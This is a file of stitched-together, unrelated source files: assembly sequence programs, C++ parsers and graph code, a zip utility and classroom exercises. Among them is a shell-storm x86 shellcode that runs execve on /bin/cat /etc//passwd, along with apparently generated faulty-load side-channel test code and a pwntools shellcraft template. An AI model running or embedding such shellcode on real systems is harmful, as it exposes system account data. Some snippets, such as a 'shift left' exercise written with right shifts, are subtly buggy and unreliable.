true; } } } r.skipChars<Group<GroupId::WhiteSpace>>(); return ret; } bool Expression::readExpression(Node **node, StringView &r, bool isRoot) { bool braced = false; if (!isRoot && r.is('(')) { ++ r; r.skipChars<Group<GroupId::WhiteSpace>>(); braced = true; } // read first operand if (!readOperand(node, r, Op::NoOp)) { return false; } Node *current = *node; // if there is only first operand - no other ops will be executed while (!r.empty() && (!braced || !r.is(')'))) { // read operator auto op = readOperator(r); if (op == NoOp) { return false; } current = insertOp(node, op); if (!readOperand(&current->right, r, current->op)) { return false; } } (*node)->block = true; if (braced && r.is(')')) { ++ r; r.skipChars<Group<GroupId::WhiteSpace>>(); } return true; } Expression::Node *Expression::insertOp(Node **node, Op op) { Node **insert = node; Node *prev = nullptr; Node *current = *node; while (priority(current->op) > priority(op) && current->right && !current->block) { prev = current; insert = &prev->right; current = current->right; } *insert = new Node{op, false, String(), current, new Node{NoOp}}; return *insert; } Expression::Op Expression::readOperator(StringView &r) { r.skipChars<Group<GroupId::WhiteSpace>>(); if (r.is('#')) { ++ r; return Sharp; } else if (r.is('.')) { ++ r; return Dot; } else if (r.is(':')) { ++ r; return Colon; } else if (r.is('*')) { ++ r; return Mult; } else if (r.is('/')) { ++ r; return Div; } else if (r.is('+')) { ++ r; return Sum; } else if (r.is('-')) { ++ r; return Sub; } else if (r.is("<=")) { r += 2; return ltEq; } else if (r.is('<')) { ++ r; return Lt; } else if (r.is(">=")) { r += 2; return GtEq; } else if (r.is('>')) { ++ r; return Gt; } else if (r.is("==")) { r += 2; return Eq; } else if (r.is('=')) { ++ r; return Eq; } else if (r.is("!=")) { r += 2; return NotEq; } else if (r.is("&&")) { r += 2; return And; } else if (r.is("||")) { r += 2; return Or; } else if (r.is("and")) { r += 3; if (r.is<Group<GroupId::Alphanumeric>>() || r.is('$') || r.is('_')) { return NoOp; } return And; } else if (r.is("or")) { r += 2; return Or; if (r.is<Group<GroupId::Alphanumeric>>() || r.is('$') || r.is('_')) { return NoOp; } } else if (r.is(',')) { ++ r; return Comma; } return NoOp; } Expression::Expression(const String &str) { parse(str); } Expression::Expression(StringView &r) { parse(r); } Expression::Expression(const StringView &r) { parse(r); } bool Expression::parse(StringView &r) { root = new Node{Op::NoOp}; return readExpression(&root, r, true); } bool Expression::parse(const StringView &ir) { StringView r(ir); return parse(r); } bool Expression::parse(const String &str) { StringView r(str); return parse(r); } NS_SA_EXT_END(tpl)
; A294937: Characteristic function for abundant numbers (A005101): a(n) = 1 if A001065(n) > n, 0 otherwise. ; 0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1 seq $0,235796 ; 2*n - 1 - sigma(n). mul $0,2 mov $1,$0 add $1,1 div $0,$1 mod $0,2
; A140124: a(n) = degree in N of the number of orbits under S_N of the set of n-tuples of partitions of {1,...,N} into n subsets. ; 1,20,243,3104,46625,823500,16777159,387420416,9999999909,285311670500,8916100448123,302875106592096,11112006825557833,437893890380859164,18446744073709551375,827240261886336763904,39346408075296537575117 add $0,2 mov $1,$0 pow $1,2 sub $1,$0 pow $0,$0 sub $0,$1 sub $0,1
// Copyright 2017 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // /////////////////////////////////////////////////////////////////////////////// #include "tink/signature/public_key_verify_factory.h" #include "tink/public_key_verify.h" #include "tink/key_manager.h" #include "tink/keyset_handle.h" #include "tink/registry.h" #include "tink/signature/public_key_verify_set_wrapper.h" #include "tink/util/status.h" #include "tink/util/statusor.h" namespace crypto { namespace tink { // static util::StatusOr<std::unique_ptr<PublicKeyVerify>> PublicKeyVerifyFactory::GetPrimitive(const KeysetHandle& keyset_handle) { return GetPrimitive(keyset_handle, nullptr); } // static util::StatusOr<std::unique_ptr<PublicKeyVerify>> PublicKeyVerifyFactory::GetPrimitive(const KeysetHandle& keyset_handle, const KeyManager<PublicKeyVerify>* custom_key_manager) { auto primitives_result = Registry::GetPrimitives<PublicKeyVerify>( keyset_handle, custom_key_manager); if (primitives_result.ok()) { return PublicKeyVerifySetWrapper::NewPublicKeyVerify( std::move(primitives_result.ValueOrDie())); } return primitives_result.status(); } } // namespace tink } // namespace crypto
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Compute the line coordinates and put into a vector ; Basic concept by Rafael de Oliveira Jannone (calculate_side) ; ; Stefano Bodrato - 13/3/2009 ; ; ; $Id: w_stencil_add_circle.asm,v 1.3 2016-04-23 20:37:40 dom Exp $ ; ;; void stencil_add_circle(int x1, int y1, int x2, int y2, unsigned char *stencil) IF !__CPU_INTEL__ SECTION code_graphics PUBLIC stencil_add_circle PUBLIC _stencil_add_circle EXTERN w_draw_circle EXTERN stencil_add_pixel ;EXTERN swapgfxbk ;EXTERN swapgfxbk1 EXTERN stencil_ptr ;EXTERN __graphics_end .stencil_add_circle ._stencil_add_circle push ix ld ix,2 add ix,sp ld l,(ix+2) ;pointer to stencil ld h,(ix+3) ld (stencil_ptr),hl ;ld l,(ix+4) ;pointer to leftmost vector ;ld h,(ix+5) ;ld (gfx_area),hl ld a,(ix+4) ;skip ld c,(ix+6) ;radius ld b,(ix+7) ld l,(ix+8) ;y ld h,(ix+9) ld e,(ix+10) ;x ld d,(ix+11) ;call swapgfxbk ld ix,stencil_add_pixel call w_draw_circle ;jp __graphics_end pop ix ret ENDIF
; Website: http://shell-storm.org/shellcode/files/shellcode-571.php ; original: 43 ; poly: 44 global _start section .text _start: xor eax,eax cdq push edx push 0x7461632f push 0x6e69622f mov ebx,esp push edx push 0x64777373 push 0x61702f2f push 0x6374652f mov ecx,esp mov al,0xb push edx push ecx push ebx mov ecx,esp int 0x80
; A328184: Denominator of time taken for a vertex of a rolling regular n-sided polygon to reach the ground. ; 4,8,20,12,28,16,12,20,44,24,52,28,20,32,68,36,76,40,28,44,92,48,100,52,36,56,116,60,124,64,44,68,140,72,148,76,52,80,164,84,172,88,60,92,188,96,196,100,68,104,212,108,220,112,76,116,236,120,244,124,84 mov $4,$0 add $0,2 mov $5,1 add $5,$0 lpb $0 sub $0,$0 mul $4,2 mov $2,$4 lpe gcd $2,$5 mod $2,4 div $5,$2 mov $1,$5 add $3,7 mov $4,$3 add $4,1 add $1,$4 sub $1,9 mul $1,4 add $1,4
<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="fildes"/> <%docstring> Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information. Arguments: fildes(int): fildes </%docstring> ${syscall('SYS_fdatasync', fildes)}
; int fzx_write(struct fzx_state *fs, char *buf, uint16_t buflen) SECTION code_font SECTION code_font_fzx PUBLIC _fzx_write EXTERN l0_fzx_write_callee _fzx_write: pop af pop ix pop de pop bc push bc push de push hl push af jp l0_fzx_write_callee
; Asmt6_2.asm - Write a sequence of instructions that shift three memory words to the left by 1 bit position. INCLUDE Irvine32.inc .data wordArray WORD 810Dh, 0C064h,93ABh .code main PROC shr [wordArray + 2], 1 rcr [wordArray + 1], 1 rcr [wordArray], 1 INVOKE ExitProcess, 0 main ENDP END main
; $Id: bs3-cmn-RegSetCr4.asm 72138 2018-05-07 13:03:51Z vboxsync $ ;; @file ; BS3Kit - Bs3RegSetCr4 ; ; ; Copyright (C) 2007-2018 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ; The contents of this file may alternatively be used under the terms ; of the Common Development and Distribution License Version 1.0 ; (CDDL) only, as it comes in the "COPYING.CDDL" file of the ; VirtualBox OSE distribution, in which case the provisions of the ; CDDL are applicable instead of those of the GPL. ; ; You may elect to license modified versions of this file under the ; terms and conditions of either the GPL or the CDDL or both. ; %include "bs3kit-template-header.mac" BS3_EXTERN_CMN Bs3Syscall %if TMPL_BITS == 16 BS3_EXTERN_DATA16 g_bBs3CurrentMode %endif TMPL_BEGIN_TEXT ;; ; @cproto BS3_CMN_PROTO_STUB(void, Bs3RegSetCr4,(RTCCUINTXREG uValue)); ; ; @param uValue The value to set. ; @remarks Does not require 20h of parameter scratch space in 64-bit mode. ; ; @uses No GPRs. ; BS3_PROC_BEGIN_CMN Bs3RegSetCr4, BS3_PBC_HYBRID_SAFE BS3_CALL_CONV_PROLOG 1 push xBP mov xBP, xSP push sSI %if TMPL_BITS == 16 ; If V8086 mode we have to go thru a syscall. test byte [BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_CODE_V86 jnz .via_system_call cmp byte [BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_RM je .direct_access %endif ; If not in ring-0, we have to make a system call. mov si, ss and si, X86_SEL_RPL jnz .via_system_call .direct_access: mov sSI, [xBP + xCB + cbCurRetAddr] mov cr4, sSI jmp .return .via_system_call: push xDX push xAX mov sSI, [xBP + xCB + cbCurRetAddr] mov xAX, BS3_SYSCALL_SET_DRX mov dl, 4 call Bs3Syscall pop xAX pop xDX .return: pop sSI pop xBP BS3_CALL_CONV_EPILOG 1 BS3_HYBRID_RET BS3_PROC_END_CMN Bs3RegSetCr4
#include <vector> namespace oddvoices { namespace frontend { void write16BitMonoWAVFile( std::string fileName , int sampleRate , const std::vector<int16_t>& data ); } // namespace frontend } // namespace oddvoices
#include "stdafx.h" #include "SplitEmUp.h" #include "FillHole.h" #include "ChainDecomposition.h" #include "ContractDeg2.h" void splitEmUpCorrectly(G& g) { std::cout << "Splitting stuff... "; //1. Break into chains, record their adjacencies into another graph //2. For each chain in that little graph, if its degree is 3, 'open up' the chain //3. If degree is 4, split the chain into two //4. PROFIT int n = boost::num_vertices(g); //auto chains = chainDecomposition(g, myChain); std::vector<std::vector<edge_descriptor>> chains; auto tGraph = topoGraphHighValenceSeparated(g, chains, true); std::map<edge_descriptor, size_t> myChain; for (int i = 0; i < chains.size(); ++i) { for (const auto& e : chains[i]) myChain[e] = i; } std::cout << "chains done... "; //2. For each chain in that little graph, if its degree is 3, 'open up' the chain auto avgTangent = [&](int chainIdx, bool end) { Eigen::Vector2d avg(0, 0); int count = 0; for (int i = 0; i < std::min(chains[chainIdx].size(), (size_t)20); ++i) { auto e = end ? chains[chainIdx][chains[chainIdx].size() - i - 1] : chains[chainIdx][i]; Eigen::Vector2d edgeVec = g[e.m_target].location - g[e.m_source].location; avg += edgeVec.normalized(); ++count; } if (end) avg = -avg; Eigen::Vector2d result = avg / count; return result; }; std::vector<ChainSplitInfo> chainsToSplit; std::map<std::pair<size_t, int>, bool> shouldSplit; //for convenience, has the same information as chainsToSplit. {chainIdx, endIdx} std::map<size_t, bool> willBeSplit; //for convenience, per vertex for (int i = 0; i < chains.size(); ++i) { ChainSplitInfo c = { i,{false,false} }; for (int end = 0; end < 2; ++end) { size_t vtx = (end == 0) ? chains[i].front().m_source : chains[i].back().m_target; if (boost::degree(vtx, g) == 3) { //we have a candidate //should have a different sign of dot product with the root than the other 2 branches edge_descriptor myEdge = (end == 0) ? chains[i].front() : boost::edge(chains[i].back().m_target, chains[i].back().m_source, g).first; Eigen::Vector2d myEdgeVec = avgTangent(i, (end == 1)); double myDot = myEdgeVec.dot(g[vtx].root); oedge_iter oeit, oend; bool shouldSplit = true; for (std::tie(oeit, oend) = boost::out_edges(vtx, g); oeit != oend; ++oeit) { if (*oeit == myEdge) continue; bool neighEnd = (chains[myChain[*oeit]].back().m_target == vtx); Eigen::Vector2d edgeVec = avgTangent(myChain[*oeit], neighEnd); if (edgeVec.dot(g[vtx].root)*myDot > 0) shouldSplit = false; } c.splitEnd[end] = shouldSplit; } } //the last condition is only to fight a bug in the sheriff's chin. I don't have time to debug it :( if (c.splitEnd[0] && c.splitEnd[1] && chains[i].size()<100) { willBeSplit[chains[i].front().m_source] = true; willBeSplit[chains[i].back().m_target] = true; shouldSplit[{i, 0}] = c.splitEnd[0]; shouldSplit[{i, 1}] = c.splitEnd[1]; chainsToSplit.push_back(c); } } //3. Do the actual splitting std::vector<std::vector<size_t>> chainVertices(chains.size()); for (int i = 0; i < chains.size(); ++i) { std::vector<size_t> myChainVerts; myChainVerts.reserve(chains[i].size() + 1); for (const auto& e : chains[i]) myChainVerts.push_back(e.m_source); myChainVerts.push_back(chains[i].back().m_target); chainVertices[i] = myChainVerts; } auto duplicateVtx = [&](size_t v) { size_t newV = boost::add_vertex(g); g[v].split = true; g[newV] = g[v]; g[newV].clusterIdx = boost::num_vertices(g)-1; g[newV].sharpCorner = false; return newV; }; auto createEdge = [&](size_t u, size_t v) { auto e = boost::add_edge(u, v, g); g[e.first].edgeCurve = -1; //not used in final optimization g[e.first].weight = 1; //default weight, HOPEFULLY not used in the optimization //std::cout << "Creating edge between " << u << " and " << v << std::endl; return e.first; }; std::map<size_t, std::map<size_t, size_t>> newAdjacencies; //[vertex][incomingChainIdx] std::map<std::pair<size_t,int>,std::vector<size_t>> newVertices; //per {chain,dir} for (const auto& c : chainsToSplit) { const auto& myChainVertices = chainVertices[c.chain]; for (int dir = 0; dir < 2; ++dir) { size_t v = (dir == 0) ? myChainVertices.front() : myChainVertices.back(); std::vector<size_t> myNewVerts = { v }; //todo: fill in info for the new vertex if (c.splitEnd[dir]) { size_t newVertex = duplicateVtx(v); myNewVerts.push_back(newVertex); newVertices[{c.chain, dir}] = myNewVerts; oedge_iter eit, eend; for (std::tie(eit, eend) = boost::out_edges(v, g); eit != eend; ++eit) { int otherChain = myChain[*eit]; if (otherChain != c.chain) { newAdjacencies[v][otherChain] = myNewVerts[newAdjacencies[v].size() % myNewVerts.size()]; //if we're not splitting at this end, then all the adjacent chains should connect to that vertex } } } } } auto adjustYJunction = [&](size_t& v1, size_t& v2, size_t yJunctionVtx) { std::map<size_t, bool> traversed; traversed[yJunctionVtx] = true; size_t initialV1 = v1, initialV2 = v2; bool haveSharedCurves; bool fixed; do { fixed = false; haveSharedCurves = false; traversed[v1] = true; traversed[v2] = true; for (const auto& c1 : g[v1].clusterPoints) { for (const auto& c2 : g[v2].clusterPoints) { if (c1.curve == c2.curve) { haveSharedCurves = true; break; } } } if (haveSharedCurves) { oedge_iter eit, eend; if (boost::degree(v1, g) == 2) { for (std::tie(eit, eend) = boost::out_edges(v1, g); eit != eend; ++eit) { if (!traversed[eit->m_target] && (boost::degree(eit->m_target,g)==2)) { v1 = eit->m_target; fixed = true; } } } if (boost::degree(v2, g) == 2) { for (std::tie(eit, eend) = boost::out_edges(v2, g); eit != eend; ++eit) { if (!traversed[eit->m_target] && (boost::degree(eit->m_target, g) == 2)) { v2 = eit->m_target; fixed = true; } } } } if ((boost::degree(v1, g) != 2) && (boost::degree(v2, g) != 2)) break; } while (haveSharedCurves && fixed); if (haveSharedCurves) { //failed, return everything std::cout << "FAILED to adjust" << std::endl; v1 = initialV1; v2 = initialV2; } }; //now we know which vertex to connect to //for every chain, now connect beginning vertices to the ending vertices for (size_t i = 0; i < chains.size(); ++i) { const auto& myChainVertices = chainVertices[i]; if (!willBeSplit[myChainVertices.front()] && !willBeSplit[myChainVertices.back()]) continue; std::array<std::vector<size_t>,2> activeVerts; //std::vector<edge_descriptor> edgesToRemove; for (int dir = 0; dir < 2; ++dir) { size_t vtx = dir == 0 ? myChainVertices.front() : myChainVertices.back(); size_t adjVtx = (dir == 0) ? myChainVertices[1] : myChainVertices[myChainVertices.size() - 2]; boost::remove_edge(vtx, adjVtx, g); //edgesToRemove.push_back(boost::edge(vtx, adjVtx, g).first); if (shouldSplit[{ i, dir }]) activeVerts[dir] = newVertices[{i, dir}]; else { if (willBeSplit[vtx]) { auto it = newAdjacencies.find(vtx); assert(it != newAdjacencies.end()); if (it == newAdjacencies.end()) std::cout << "ERROR 1" << std::endl; auto it2 = it->second.find(i); assert(it2 != it->second.end()); if (it2 == it->second.end()) { std::cout << "ERROR 2, size: " << it->second.size() << ", vtx = " << vtx << std::endl; } activeVerts[dir] = { it2->second }; } else activeVerts[dir] = { vtx }; } } std::vector<std::pair<int, int>> finalEdges; if ((activeVerts[0].size() == 2) && (activeVerts[1].size() == 2)) { std::vector<size_t> pseudoHole; //look at all the adjacent clusters std::map<size_t, size_t> connectedTo; //for convenience to replace the vertices in the edges returned by fillHole to finalEdges for (int dir = 0; dir < 2; ++dir) { size_t vtx = dir == 0 ? myChainVertices.front() : myChainVertices.back(); for (auto it : newAdjacencies[vtx]) { int chainIdx = it.first; if (chainIdx != i) { size_t theirVertex = (chainVertices[chainIdx].back() == vtx) ? chainVertices[chainIdx][chainVertices[chainIdx].size() - 2] : chainVertices[chainIdx][1]; pseudoHole.push_back(theirVertex); connectedTo[theirVertex] = it.second; } } } std::cout << "Hole: "; for (size_t v : pseudoHole) std::cout << v << " "; std::cout << std::endl; if (pseudoHole.size() != 4) { std::cout << "Skipping this chain: "; for (size_t v : myChainVertices) std::cout << v << " "; return; continue; } auto origHole = pseudoHole; //make sure vertices (0,1) and (2,3) don't share any curves in common adjustYJunction(pseudoHole[0], pseudoHole[1], myChainVertices.front()); adjustYJunction(pseudoHole[2], pseudoHole[3], myChainVertices.back()); std::vector<std::pair<int, int>> prohibitedEdges = { {pseudoHole[0], pseudoHole[1]},{ pseudoHole[2], pseudoHole[3] } }; std::cout << "Adjusted to: "; for (size_t v : pseudoHole) std::cout << v << " "; std::cout << std::endl; for (int i = 0; i < 4; ++i) connectedTo[pseudoHole[i]] = connectedTo[origHole[i]]; auto holeEdges = fillHole(pseudoHole.begin(), pseudoHole.end(), g, prohibitedEdges); //now we have connections,but those are connecting adjacent chains //convert the vertex indices into my chain indices for (auto it : holeEdges) { int a = connectedTo[it.first], b = connectedTo[it.second]; if ((activeVerts[1][0] == a) || (activeVerts[1][1] == a)) std::swap(a, b); finalEdges.push_back({ a , b }); } } else { for (size_t v1 : activeVerts[0]) for (size_t v2 : activeVerts[1]) finalEdges.push_back({ (int)v1, (int)v2 }); } assert(!finalEdges.empty()); std::vector<std::vector<size_t>> midChain; midChain.resize(finalEdges.size()); for (int j = 1; j + 1 < myChainVertices.size(); ++j) midChain[0].push_back(myChainVertices[j]); for (int k = 1; k < finalEdges.size(); ++k) { //for each new edge, add a midChain std::vector<size_t> newMidChain; for (size_t v : midChain[0]) { size_t newV = duplicateVtx(v); newMidChain.push_back(newV); } for (int j = 1; j < newMidChain.size(); ++j) createEdge(newMidChain[j - 1], newMidChain[j]); midChain[k] = newMidChain; } for (int j=0; j<finalEdges.size(); ++j) { if (midChain[j].size() > 2) { createEdge(finalEdges[j].first, midChain[j].front()); createEdge(finalEdges[j].second, midChain[j].back()); } else createEdge(finalEdges[j].first, finalEdges[j].second); } } std::cout << "Processing deg 4 verts: "; //similar processing for valence for vertices //I could have not duplicated the code, but I don't want to mess with the logic above for (size_t v = 0; v < boost::num_vertices(g); ++v) { if (boost::degree(v, g) == 4) { std::vector<size_t> pseudoHole; oedge_iter eit, eend; for (std::tie(eit, eend) = boost::out_edges(v, g); eit != eend; ++eit) pseudoHole.push_back(eit->m_target); auto holeEdges = fillHole(pseudoHole.begin(), pseudoHole.end(), g, {}); boost::clear_vertex(v, g); for (auto e : holeEdges) { createEdge(e.first, e.second); } std::cout << "Deg 4 vertex: " << v << ", filling the hole" << std::endl; } } std::cout << "done." << std::endl; }
/* * Copyright (c) 2021, Idan Horowitz <idan.horowitz@serenityos.org> * * SPDX-License-Identifier: BSD-2-Clause */ #include <AK/LexicalPath.h> #include <LibArchive/Zip.h> #include <LibCompress/Deflate.h> #include <LibCore/ArgsParser.h> #include <LibCore/DirIterator.h> #include <LibCore/File.h> #include <LibCore/FileStream.h> #include <LibCrypto/Checksum/CRC32.h> int main(int argc, char** argv) { const char* zip_path; Vector<String> source_paths; bool recurse = false; bool force = false; Core::ArgsParser args_parser; args_parser.add_positional_argument(zip_path, "Zip file path", "zipfile", Core::ArgsParser::Required::Yes); args_parser.add_positional_argument(source_paths, "Input files to be archived", "files", Core::ArgsParser::Required::Yes); args_parser.add_option(recurse, "Travel the directory structure recursively", "recurse-paths", 'r'); args_parser.add_option(force, "Overwrite existing zip file", "force", 'f'); args_parser.parse(argc, argv); String zip_file_path { zip_path }; if (Core::File::exists(zip_file_path)) { if (force) { outln("{} already exists, overwriting...", zip_file_path); } else { warnln("{} already exists, aborting!", zip_file_path); return 1; } } auto file_stream_or_error = Core::OutputFileStream::open(zip_file_path); if (file_stream_or_error.is_error()) { warnln("Failed to open zip file: {}", file_stream_or_error.error()); return 1; } outln("Archive: {}", zip_file_path); auto file_stream = file_stream_or_error.value(); Archive::ZipOutputStream zip_stream { file_stream }; auto add_file = [&](String path) { auto file = Core::File::construct(path); if (!file->open(Core::IODevice::ReadOnly)) { warnln("Failed to open {}: {}", path, file->error_string()); return; } auto canonicalized_path = LexicalPath::canonicalized_path(path); auto file_buffer = file->read_all(); Archive::ZipMember member {}; member.name = canonicalized_path; auto deflate_buffer = Compress::DeflateCompressor::compress_all(file_buffer); if (deflate_buffer.has_value() && deflate_buffer.value().size() < file_buffer.size()) { member.compressed_data = deflate_buffer.value().bytes(); member.compression_method = Archive::ZipCompressionMethod::Deflate; auto compression_ratio = (double)deflate_buffer.value().size() / file_buffer.size(); outln(" adding: {} (deflated {}%)", canonicalized_path, (int)(compression_ratio * 100)); } else { member.compressed_data = file_buffer.bytes(); member.compression_method = Archive::ZipCompressionMethod::Store; outln(" adding: {} (stored 0%)", canonicalized_path); } member.uncompressed_size = file_buffer.size(); Crypto::Checksum::CRC32 checksum { file_buffer.bytes() }; member.crc32 = checksum.digest(); member.is_directory = false; zip_stream.add_member(member); }; auto add_directory = [&](String path, auto handle_directory) -> void { auto canonicalized_path = String::formatted("{}/", LexicalPath::canonicalized_path(path)); Archive::ZipMember member {}; member.name = canonicalized_path; member.compressed_data = {}; member.compression_method = Archive::ZipCompressionMethod::Store; member.uncompressed_size = 0; member.crc32 = 0; member.is_directory = true; zip_stream.add_member(member); outln(" adding: {} (stored 0%)", canonicalized_path); if (!recurse) return; Core::DirIterator it(path, Core::DirIterator::Flags::SkipParentAndBaseDir); while (it.has_next()) { auto child_path = it.next_full_path(); if (!Core::File::is_directory(child_path)) { add_file(child_path); } else { handle_directory(child_path, handle_directory); } } }; for (auto const& source_path : source_paths) { if (Core::File::is_directory(source_path)) { add_directory(source_path, add_directory); } else { add_file(source_path); } } zip_stream.finish(); return 0; }
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1bbdd, %rsi lea addresses_WC_ht+0x15ddd, %rdi clflush (%rsi) clflush (%rdi) nop nop nop nop nop inc %r12 mov $29, %rcx rep movsw nop nop nop nop dec %rdi lea addresses_A_ht+0x1517d, %rsi lea addresses_UC_ht+0xb5dd, %rdi nop cmp $2436, %rdx mov $117, %rcx rep movsb nop nop nop and %r12, %r12 lea addresses_normal_ht+0x220f, %r12 sub $1883, %r13 movups (%r12), %xmm7 vpextrq $1, %xmm7, %rdi nop nop nop nop add $28239, %rdi lea addresses_UC_ht+0xfc0d, %rsi lea addresses_D_ht+0x1d5dd, %rdi nop nop dec %rbx mov $102, %rcx rep movsl cmp $500, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rbx push %rdi push %rdx // Store lea addresses_D+0xbddd, %r15 nop nop nop nop and %rdx, %rdx mov $0x5152535455565758, %rbx movq %rbx, (%r15) nop inc %r14 // Faulty Load lea addresses_US+0x1addd, %rdi nop nop nop sub $36230, %r10 mov (%rdi), %r15 lea oracles, %rdx and $0xff, %r15 shlq $12, %r15 mov (%rdx,%r15,1), %r15 pop %rdx pop %rdi pop %rbx pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'58': 134, '00': 1} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
//{ #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef double lf; typedef pair<ll,ll> ii; #define REP(i,n) for(ll i=0;i<n;i++) #define REP1(i,n) for(ll i=1;i<=n;i++) #define FILL(i,n) memset(i,n,sizeof i) #define X first #define Y second #define SZ(_a) (int)_a.size() #define ALL(_a) _a.begin(),_a.end() #define pb push_back #ifdef brian #define debug(...) do{\ fprintf(stderr,"%s - %d (%s) = ",__PRETTY_FUNCTION__,__LINE__,#__VA_ARGS__);\ _do(__VA_ARGS__);\ }while(0) template<typename T>void _do(T &&_x){cerr<<_x<<endl;} template<typename T,typename ...S> void _do(T &&_x,S &&..._t){cerr<<_x<<" ,";_do(_t...);} template<typename _a,typename _b> ostream& operator << (ostream &_s,const pair<_a,_b> &_p){return _s<<"("<<_p.X<<","<<_p.Y<<")";} template<typename It> ostream& _OUTC(ostream &_s,It _ita,It _itb) { _s<<"{"; for(It _it=_ita;_it!=_itb;_it++) { _s<<(_it==_ita?"":",")<<*_it; } _s<<"}"; return _s; } template<typename _a> ostream &operator << (ostream &_s,vector<_a> &_c){return _OUTC(_s,ALL(_c));} template<typename _a> ostream &operator << (ostream &_s,set<_a> &_c){return _OUTC(_s,ALL(_c));} template<typename _a,typename _b> ostream &operator << (ostream &_s,map<_a,_b> &_c){return _OUTC(_s,ALL(_c));} template<typename _t> void pary(_t _a,_t _b){_OUTC(cerr,_a,_b);cerr<<endl;} #define IOS() #else #define debug(...) #define pary(...) #define endl '\n' #define IOS() ios_base::sync_with_stdio(0);cin.tie(0); #endif // brian //} const ll MAXn=1e5+5,MAXlg=__lg(MAXn)+2; const ll MOD=1000000007; const ll INF=ll(1e15); ll x[MAXn], y[MAXn]; #define OK {cout<<"yes"<<endl;continue;} int main() { IOS(); ll T; cin>>T; while(T--) { ll n,m; cin>>n>>m; REP(i,n)cin>>x[i]>>y[i]; ll ct = 0; REP(i,n)if(x[i] == 0 || x[i] == m-1)ct++; if(ct >= 2)OK ct = 0; REP(i,n)if(y[i] == 0 || y[i] == m-1)ct++; if(ct >= 2)OK ct = 0; REP(i,n)if((x[i] == 0 || x[i] == m-1) && (y[i] == 0 || y[i] == m-1))ct++; if(ct >= 1)OK if(n >= 4)OK bool fg = 0; REP(i,n) { if(x[i] == 0 || x[i] == m-1) { ll cta = 0, ctb = 0; REP(j,n)if(j != i) { if(y[j] <= y[i])cta++; if(y[j] >= y[i])ctb++; } if(cta >= 2 || ctb >= 2)fg = 1; } if(y[i] == 0 || y[i] == m-1) { ll cta = 0, ctb = 0; REP(j,n)if(j != i) { if(x[j] <= x[i])cta++; if(x[j] >= x[i])ctb++; } if(cta >= 2 || ctb >= 2)fg = 1; } } if(n >= 3)REP(i,n)REP(j,i)if(x[i] == 0 || x[i] == m-1 || y[i] == 0 || y[i] == m-1)if(x[j] == 0 || x[j] == m-1 || y[j] == 0 || y[j] == m-1)fg=1; if(fg)OK; cout<<"no"<<endl; } }
TITLE seagullbird_t13 .MODEL SMALL .DATA MESSAGE DB 'PLEASE INPUT A NUMBER TO RING: $' .CODE MAIN PROC FAR ASSUME CS:_TEXT, DS:_DATA PUSH DS XOR AX, AX PUSH AX MOV AX, @DATA MOV DS, AX PRINT: MOV AH, 09 LEA DX, MESSAGE INT 21H MOV AH, 01H INT 21H CMP AL, 30H JL PRINT CMP AL, 39H JG PRINT SUB AL, 30H MOV CL, AL MOV DL, 07H MOV AH, 02H LP: INT 21H LOOP LP RET MAIN ENDP END MAIN
